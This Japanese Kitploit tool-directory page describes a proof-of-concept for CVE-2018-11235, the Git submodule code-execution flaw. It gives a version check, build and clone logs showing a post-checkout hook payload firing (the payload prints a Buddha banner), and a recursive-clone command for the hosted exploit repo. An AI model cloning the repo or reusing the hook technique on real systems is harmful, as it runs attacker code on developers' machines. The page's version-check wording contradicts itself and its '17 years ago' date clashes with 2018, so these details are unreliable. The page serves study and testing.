Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2018-11235 — CVE-2018-11235(PoC && Exp) | Kitploit
ツール/GitHubGitHub/anonymking/cve-2018-11235
脆弱性分析エクスプロイトサプライチェーンセキュリティ学習と教育バイナリエクスプロイトラボと実践
GitHubanonymking/cve-2018-11235

CVE-2018-11235

CVE-2018-11235(PoC && Exp)

リポジトリを見る
17年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2018-11235

脆弱性概要

  • 脆弱性名:Git セキュリティ脆弱性
  • CNNVD番号:CNNVD-201805-1020
  • 危険度:高
  • CVE番号:CVE-2018-11235
  • 脆弱性タイプ:セキュリティ機能の問題
  • 公開日:2018-05-31
  • 脅威タイプ:リモート
  • 更新日:2019-04-01
  • ベンダー:git-scm
  • 脆弱性の出典:
  • 脆弱性の概要:Gitは、アメリカのソフトウェア開発者Linus Torvaldsによって開発された、無料でオープンソースの分散型バージョン管理システムです。Gitにはセキュリティ脆弱性が存在し、サブモジュール名を$GIT_DIR/modulesディレクトリに追加する際に、信頼できない.gitmodulesファイルからのサブモジュール名を正しく検証していないことに起因します。リモートの攻撃者は、特別に細工された.gitmodulesファイルを利用して任意のコードを実行する可能性があります。以下のバージョンが影響を受けます:Git 2.13.7より前のバージョン、2.14.4より前の2.14.x、2.15.2より前の2.15.x、2.16.4より前の2.16.x、2.17.1より前の2.17.x。
  • 影響を受けるバージョン(出典:《Git任意代码执行漏洞检测与修复(CVE-2018-11235)》):
root@kitploit:~
バージョン2.13.x、2.13.7より小さい場合は脆弱性あり
バージョン2.14.x、2.14.4より小さい場合は脆弱性あり
バージョン2.15.x、2.15.2より小さい場合は脆弱性あり
バージョン2.16.x、2.16.4より小さい場合は脆弱性あり
バージョン2.17.x、2.17.1より小さい場合は脆弱性あり
  • 自身のバージョンが影響を受けるか確認する(出典:《Git任意代码执行漏洞检测与修复(CVE-2018-11235)》):
root@kitploit:~
mkdir tmp && cd tmp
git init test && cd test && git update-index --add --cacheinfo 120000,e69de29bb2d1d6434b8b29ae775ad8c2e48c5391,.gitmodules
  1. Initialized empty Git repository in /tmp/test/.git/ と表示された場合、脆弱性が存在する
  2. 以下のようなメッセージが表示された場合、そのバージョンは影響を受けない:
root@kitploit:~
Initialized empty Git repository in /tmp/test/.git/
error: Invalid path '.gitmodules'
fatal: git update-index: --cacheinfo cannot add .gitmodules

脆弱性再現

  • GitHubのセキュリティ機構により、悪意のあるプロジェクトをアップロードできないため、スクリプト build.sh を実行してローカルでこのプロジェクトを構築し、学習・テストすることができます。
  • このプロジェクトの実装は、主に CVE-2018-11235-DEMO と CVE-2018-11235 の2つのプロジェクトを参考にしています。
  • 使用したGitのバージョンは git-2.12.1 です。
  • 処理手順と結果は以下の通りです:
root@kitploit:~
[anonymking@localhost test]$ ./build.sh 
Initialized empty Git repository in /home/anonymking/Desktop/test/CVE-2018-11235-PoC/Submodule/.git/
[master (root-commit) 9bb1fad] submodule
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 hgt_blank
Initialized empty Git repository in /home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC/.git/
Cloning into '/home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC/payload'...
done.
Cloning into '/home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC/Submodule'...
done.
[master (root-commit) fcbf40f] CVE-2018-11235
 29 files changed, 560 insertions(+)
 create mode 100644 .gitmodules
 create mode 160000 Submodule
 create mode 100644 modules/1/2/3/4/payload/HEAD
 create mode 100644 modules/1/2/3/4/payload/config
 create mode 100644 modules/1/2/3/4/payload/description
 create mode 100755 modules/1/2/3/4/payload/hooks/applypatch-msg.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/commit-msg.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/post-checkout
 create mode 100755 modules/1/2/3/4/payload/hooks/post-update.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/pre-applypatch.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/pre-commit.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/pre-push.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/pre-rebase.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/pre-receive.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/prepare-commit-msg.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/update.sample
 create mode 100644 modules/1/2/3/4/payload/index
 create mode 100644 modules/1/2/3/4/payload/info/exclude
 create mode 100644 modules/1/2/3/4/payload/logs/HEAD
 create mode 100644 modules/1/2/3/4/payload/logs/refs/heads/master
 create mode 100644 modules/1/2/3/4/payload/logs/refs/remotes/origin/HEAD
 create mode 100644 modules/1/2/3/4/payload/objects/0e/6d9b98b3face913a8ebf48f804d6c8fffba674
 create mode 100644 modules/1/2/3/4/payload/objects/9b/b1fad6c6e16340496f2cc0fec46c8159bfc693
 create mode 100644 modules/1/2/3/4/payload/objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391
 create mode 100644 modules/1/2/3/4/payload/packed-refs
 create mode 100644 modules/1/2/3/4/payload/refs/heads/master
 create mode 100644 modules/1/2/3/4/payload/refs/remotes/origin/HEAD
 create mode 120000 modules/payload
 create mode 160000 payload
git clone --recursive "/home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC" des_dir
[anonymking@localhost test]$ 
[anonymking@localhost test]$ 
[anonymking@localhost test]$ git clone --recursive "/home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC" test
Cloning into 'test'...
done.
Submodule 'Submodule' (/home/anonymking/Desktop/test/CVE-2018-11235-PoC/Submodule) registered for path 'Submodule'
Submodule '../../modules/payload' (/home/anonymking/Desktop/test/CVE-2018-11235-PoC/Submodule) registered for path 'payload'
Cloning into '/home/anonymking/Desktop/test/test/Submodule'...
done.
Submodule path 'Submodule': checked out '9bb1fad6c6e16340496f2cc0fec46c8159bfc693'


*********************************************
                   _ooOoo_
                  o8888888o
                  88" . "88
                  (| -_- |)
                  O\  =  /O
               ____/`---'\____
             .'  \\|     |//  `.
            /  \\|||  :  |||//  \
           /  _||||| -:- |||||-  \
           |   | \\\  -  /// |   |
           | \_|  ''\---/''  |   |
           \  .-\__  `-`  ___/-. /
         ___`. .'  /--.--\  `. . __
      ."" '<  `.___\_<|>_/___.'  >'"".
     | | :  `- \`.;`\ _ /`;.`/ - ` : | |
     \  \ `-.   \_ __\ /__ _/   .-` /  /
======`-.____`-.___\_____/___.-`____.-'======
                   `=---='
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Submodule path 'payload': checked out '9bb1fad6c6e16340496f2cc0fec46c8159bfc693'
  • payload内で構築した悪意コードは仏陀を出力するものです。そのため、仏陀が表示されればテスト成功です。

参考資料

  1. http://lkml.iu.edu/hypermail/linux/kernel/1805.3/05909.html
  2. https://www.anquanke.com/post/id/146909
  3. https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/
  4. https://xz.aliyun.com/t/2371
  5. https://github.com/CHYbeta/CVE-2018-11235-DEMO
  6. https://atorralba.github.io/CVE-2018-11235/
  7. https://github.com/Rogdham/CVE-2018-11235

予期せぬ発見

  • なんとCoding上でこのプロジェクトを構築することに成功しました —— CVE-2018-11235
  • 使用方法:
root@kitploit:~
git clone --recursive https://git.dev.tencent.com/anonymking/CVE-2018-11235.git test
ツールをダウンロード